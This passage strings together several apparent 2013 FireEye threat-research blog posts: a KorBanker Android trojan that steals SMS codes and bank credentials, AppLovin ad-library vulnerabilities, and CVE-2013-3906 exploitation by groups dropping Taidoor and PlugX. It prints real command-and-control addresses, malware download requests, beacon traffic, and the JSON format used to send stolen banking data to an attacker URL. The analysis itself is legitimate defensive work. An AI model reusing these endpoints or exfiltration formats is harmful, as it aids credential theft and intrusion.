                  Outlined in yellow is length indicator — 0x71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

                  The response bytes shown in black containing 0x04 and 0x01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.

                  korbanker4

                  Figure 4: KorBanker code for sending incoming messages to CnC server

                  Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server 180.214.160.70 on port 8888 as shown in Figure 4.

                  The bytes highlighted in red after the response show the message code of 0x08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

                  The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

                  Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.

                  korbankertable

                  Fake banking app 

                  The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.

                  korbanker5

                  Figure 5: Data capture showing the installation of the fake banking app 

                  Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object. korbanker_6

                  The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘http://180.214.160.70/send_bank.php as follows:

                  { "renzheng" : "1234",

                  "fenli" : "1234",

                  "datetime" : "2013-08-12 12:32:32",

                  "phone":'8889991111',

                  "bankinid": '1234',

                  "jumin": '1234',

                  "banknum" : '1234',

                  "banknumpw" : '1234',

                  "paypw" : 'test',

                  "scard" : "1234567890",

                  "sn1" : "1234",

                  "sn2" : "1234",

                  "sn3" : "1234",

                  ....

                  ....

                  "sn34" : "1234",

                  "sn35" : "1234"

                  }

                  The response received is as follows:

                  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

                  Connection: close

                  Content-Type: text/html

                  Date: Fri, 22 Nov 2013 02:05:00 GMT

                  Expires: Thu, 19 Nov 1981 08:52:00 GMT

                   

                  Conclusion

                  This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

                  Monitoring Vulnaggressive Apps on Google Play

                  Vulnaggressive Characteristics in Mobile Apps and Libraries

                  FireEye mobile security researchers have discovered a rapidly-growing class of mobile threats represented by popular ad libraries affecting apps with billions of downloads. These ad libraries are aggressive at collecting sensitive data and able to perform dangerous operations such as downloading and running new code on demand. They are also plagued with various classes of vulnerabilities that enable attackers to turn their aggressive behaviors against users. We coined the term “vulnaggressive” to describe this class of vulnerable and aggressive characteristics. We have published some of our findings in our two recent blogs about these threats: “Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions” and “Update: Ad Vulna Continues”.

                  As we reported in our earlier blog “Update: Ad Vulna Continues”, we have observed that some vulnaggressive apps have been removed from Google Play, and some app developers have upgraded their apps to a more secure version either by removing the vulnaggressive libraries entirely or by upgrading the relevant libraries to a more secure version which address the security issues. However, many app developers are still not aware of these security issues and have not taken such needed steps. We need to make a community effort to help app developers and library vendors to be more aware of these security issues and address them in a timely fashion.

                  To aid this community effort, we present the data to illustrate the changes over time as vulnaggressive apps are upgraded to a more secure version or removed from Google Play after our notification. We summarize our observations below, although we do not have specific information about the reasons that caused these changes we are reporting.

                  We currently only show the chart for one such vulnaggressive library, AppLovin (previously referred to by us as Ad Vulna for anonymity). We will add the charts for other vulnaggressive libraries as we complete our notification/disclosure process and the corresponding libraries make available new versions that fix the issues.

                  The Chart of Apps Affected by AppLovin

                  AppLovin (Vulna)’s vulnerable versions include 3.x, 4.x and 5.0.x. AppLovin 5.1 fixed most of the reported security issues. We urge app developers to upgrade AppLovin to the latest version and ask their users to update their apps as soon as the newer versions are available.

                  The figure below illustrates the change over time of the status of vulnerable apps affected by AppLovin on Google Play. In particular, we collect and depict the statistics of apps that we have observed on Google Play with at least 100k downloads and with at least one version containing the vulnerable versions of AppLovin starting September 20. Over time, a vulnerable app may be removed by Google Play (which we call “removed apps”, represented in gray), have a new version available on Google Play that addresses the security issues either by removing AppLovin entirely or by upgrading the embedded AppLovin to 5.1 or above (which we call “upgradable apps”, represented in green), or remain vulnerable (which we call “vulnerable apps”, represented in red), as shown in the legend in the chart.

                  Please note that we started collecting the data of app removal from Google Play on October 20, 2013. Thus, any relevant app removal between September 20 and October 20 will be counted and shown on October 20. Also, for each app included in the chart, Google Play shows a range of its number of downloads, e.g., between 1M and 5M. We use the lower end of the range in our download count so the statistics we show are conservative estimates.

                  applovin1117

                  We are glad to see that over time, many vulnerable apps have been either removed from Google Play or have more secure versions available on Google Play. However, apps with hundreds of millions of downloads in total still remain vulnerable. In addition, note that while removing vulnaggressive apps from Google Play prevents more people from being affected, the millions of devices that already downloaded them remain vulnerable since they are not automatically removed from the devices. Furthermore, because many users do not update their downloaded apps often and older versions of Android do not auto-update apps, even after the new, more secure version of a vulnerable app is available on Google Play, millions of users of these apps will remain vulnerable until they update to the new versions of these apps on their devices. FireEye recently announced FireEye Mobile Threat Prevention. It is uniquely capable of protecting its customers from such threats.

                  Exploit Proliferation: Additional Threat Groups Acquire CVE-2013-3906

                  Last week, we blogged about a zero-day vulnerability (CVE-2013-3906) that was being used by at least two different threat groups. Although it was the same exploit, the two groups deployed it differently and dropped very different payloads. One group, known as Hangover, engages in targeted attacks, usually, against targets in Pakistan. The second group, known as Arx, used the exploit to spread the Citadel Trojan, and we have found that they are also using the Napolar (aka Solar) malware. [1]

                  Looking at the time of the first known use of the exploit, we noted that the Arx group appeared to have had access to this exploit prior to the Hangover group. Subsequent research by Kaspersky has found that this exploit was used in July 2013 to spread a cross-platform malware known as Janicab. Interestingly, the Janicab samples have exactly the same CreateDate and ModifyDate as the Arx samples. However, the ZipModifyDate is different. They also contain the same embedded TIFF file (aa6d23cd23b98be964c992a1b048df6f).

                  While the Janicab activity dates the use of CVE-2013-3906 to July, other groups, including those associated with advanced persistent threat (APT) activity, have now begun to use this exploit as well. We have found that CVE-2013-3906 is now being used to drop Taidoor and PlugX (which we call Backdoor.APT.Kaba). Interestingly, the version of the exploit used contains elements that are consistent with the Hangover implementation. Both the Taidoor and PlugX samples have EXIF data that is consistent with a Hangover sample. In addition, the samples share the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1).

                  Taidoor

                  The Taidoor malware has been used in numerous targeted attacks that typically affect Taiwan-related entities. We recently blogged about modifications that have been made to the Taidoor malware. This new version of Taidoor is being dropped by malicious documents using the CVE-2013-3906 exploit. The malware is being distributed via an email purporting to be from a Taiwanese government email address.

                  taidooremail

                  The Taidoor sample we analyzed (6003b22d22af86026afe62c39316b9e0) has the same CreateDate and ModifyDate as the Hangover samples we analyzed. It also shares an exact ZipModifyDate with one of the Hangover samples. (There are variations in the ZipModifyDate among the Hangover samples).

                  • CreateDate                : 2013:10:03 22:46:00Z
                  • ModifyDate                : 2013:10:03 23:17:00Z
                  • ZipModifyDate           : 2013:10:17 14:21:23

                  It also contains other EXIF data that matches a Hangover sample (and the PlugX sample discussed below):

                  • App Version                     : 12.0000
                  • Creator                            : Win7
                  • Last Modified By              : Win7
                  • Revision Number             : 1

                  The sample also contains the same embedded TIFF file (7dd89c99ed7cec0ebc4afa8cd010f1f1). This indicates that they were probably built with the same weaponizer tool.

                  After the exploit is triggered a connection is made to a retrieve an EXE from a webserver:

                  GET /o.exe HTTP/1.1

                  Accept: */*

                  Accept-Encoding: gzip, deflate

                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

                  Host: 202.81.251.205

                  Connection: Keep-Alive

                  This EXE is Taidoor and it is configured to beacon to two command and control (CnC) servers: 58.26.15.106 and 81.10.28.171.

                  GET /user.jsp?ij=oumded191138F9744C HTTP/1.1

                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

                  Host: 58.26.15.106

                  Connection: Keep-Alive

                  Cache-Control: no-cache

                  GET /parse.jsp?js=iwmnxw191138F9744C HTTP/1.1

                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

                  Host: 81.10.28.171

                  Connection: Keep-Alive

                  Cache-Control: no-cache

                  We have located an additional sample (5c8d7d4dd6cc8e3b0bd6587221c52102) that also retrieves Taidoor:

                  GET /suv/update.exe HTTP/1.1

                  Accept: */*

                  Accept-Encoding: gzip, deflate

                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

                  Host: 118.175.7.74

                  Connection: Keep-Alive

                  This sample beacons to the command and control server: accountcreditbalance.accountcreditbalance.trickip.net (118.175.7.74).

                  GET /parse.jsp?ne=vyhavf191138F9744C HTTP/1.1

                  User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

                  Host: accountcreditbalance.accountcreditbalance.trickip.net

                  Connection: Keep-Alive

                  Cache-Control: no-cache

                  PlugX (Kaba)

                  The PlugX malware (aka Backdoor.APT.Kaba) has been used in a variety of targeted attacks. We located a malicious document (80c8ce1fd7622391cac892be4dbec56b) that exploits CVE-2013-3906. This sample contains the same CreateDate and ModifyDate and shares a common ZipModifyDate with both the Taidoor samples and one of the Hangover samples.

                  • CreateDate                : 2013:10:03 22:46:00Z
                  • ModifyDate                : 2013:10:03 23:17:00Z
                  • ZipModifyDate           : 2013:10:17 14:21:23

                  After exploitation, there is a connection to auto.bacguarp.com (210.56.63.38) that downloads a PlugX executable:

                  GET /css/css.exe HTTP/1.1

                  Accept: */*

                  Accept-Encoding: gzip, deflate

                  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)

                  Host: auto.bacguarp.com

                  The malware (423eaeff2a4576365343e6dc35d22042) begins to beacon to web.bacguarp.com and web.zuesinfo.com, which both resolve to 210.56.63.60. The callback of the PlugX samples is:

                  POST /8A8DAEE657205D651405D7CD HTTP/1.1

                  Accept: */*

                  FZLK1: 0

                  FZLK2: 0

                  FZLK3: 61456

                  FZLK4: 1

                  User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

                  Host: web.bacguarp.com

                  Content-Length: 0

                  Connection: Keep-Alive

                  Cache-Control: no-cache

                  Conclusion

                  An increasing number of threat groups now have access to CVE-2013-3906. These threat groups include those that use the Taidoor and PlugX malware families to conduct targeted attacks. We expect this exploit to continue to proliferate among threat groups engaged in APT activity.

                  Notes

                  1.  The MD5 hashes for Arx group samples that dropped Napolar are:  5e4b83fd11050075a2d4913e6d81e553  and f6c788916cf6fafa202494658e0fe4ae. The CnC server was: www.gagadude.biz / 176.119.2.90

                  Supply Chain Analysis: From Quartermaster to Sunshop

                  Today, we released a new report from FireEye Labs entitled Supply Chain Analysis: From Quartermaster to Sunshop .

                  The report details how many seemingly unrelated cyber attacks may, in fact, be part of a broader offensive fueled by a shared development and logistics infrastructure — a finding that suggests some targets are facing a more organized menace than they realize. Our research points to centralized planning and development by one or more advanced persistent threat (APT) actors. Malware clearly remains a desired cyber weapon of choice. Streamlining development makes financial sense for attackers, so the findings may imply a bigger trend towards industrialization that achieves an economy of scale.

                  Download the Malware Supply Report

                  Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method

                  Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog. Furthermore, the attackers loaded the payload used in this attack directly into memory without first writing to disk – a technique not typically used by advanced persistent threat (APT) actors. This technique will further complicate network defenders’ ability to triage compromised systems, using traditional forensics methods.

                  Enter Trojan.APT.9002

                  On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden posted about a